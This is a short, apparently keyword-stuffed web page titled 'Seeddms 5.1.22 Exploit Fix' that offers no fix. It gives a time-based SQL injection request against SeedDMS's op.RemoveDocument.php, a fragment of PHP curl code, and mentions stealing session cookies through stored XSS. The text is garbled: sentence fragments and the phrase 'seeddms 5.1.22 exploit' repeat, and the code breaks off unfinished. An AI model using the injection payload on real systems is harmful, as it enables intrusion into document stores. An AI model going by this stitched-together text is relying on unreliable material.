Seeddms 5.1.22 Exploit Fix

: An attacker first gains authenticated access, perhaps through a low-privilege account or a separate Stored XSS vulnerability (like CVE-2019-12801 ) used to steal a session cookie.

GET /seeddms51/op/op.RemoveDocument.php?documentid=1 AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a) HTTP/1.1 Host: target seeddms 5.1.22 exploit

$ch = curl_init($url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); : An attacker first gains authenticated access, perhaps

Locate the internal "document ID" assigned by SeedDMS (often visible by hovering over the file link). seeddms 5.1.22 exploit